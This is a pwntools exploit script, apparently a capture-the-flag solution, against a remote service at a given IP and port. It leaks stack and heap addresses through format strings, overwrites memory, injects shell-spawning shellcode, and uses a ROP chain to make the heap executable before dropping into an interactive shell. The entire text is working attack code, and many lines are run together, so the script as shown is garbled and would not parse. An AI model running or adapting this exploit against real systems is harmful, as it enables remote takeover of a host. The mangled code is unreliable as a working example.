```from pwn import *
context.arch = 'amd64'
p = remote('168.119.108.148', 10010)
printf = 0x410EE0
payload = b'faq'*158 + b'a'*4 + p64(printf)p.sendlineafter('text:', payload)
payload = b'%12$p'p.sendlineafter('text:', payload)
stack_leak = int(p.recvline(), 16)vector_ptr = stack_leak - 0x140info(hex(stack_leak))info(hex(vector_ptr))
payload = b'%7$p'p.sendlineafter('text:', payload)
heap_leak = int(p.recvline(), 16)heap_base = heap_leak - 0x2bf0info(hex(heap_leak))info(hex(heap_base))
p.sendlineafter('text:', f'%{vector_ptr & 0xffff}c%12$hn')
payload = b'%47$hhn'payload = payload.ljust(0x100, b'a')payload += asm(shellcraft.sh())payload = payload.ljust(0xf90, b'a')payload += p64(printf) + p64(vector_ptr + 8) + p64(0x200)
p.sendlineafter('text:', payload)
payload = fmtstr_payload(8, {0x4C9098: 0x42A0E5})
p.sendlineafter('text:', payload)
pop_rdi = 0x00000000004018dapop_rsi = 0x0000000000404cfepop_rdx = 0x00000000004017dfret = pop_rdi + 1
payload = p64(0)payload += p64(pop_rdi)payload += p64((heap_leak - 0x1000) & ~0xfff)payload += p64(pop_rsi)payload += p64(0x21000)payload += p64(pop_rdx)payload += p64(0x7)payload += p64(0x45AC90)payload += p64(heap_leak - 0xf10)
p.sendlineafter('text:', payload)p.sendline()
p.interactive()```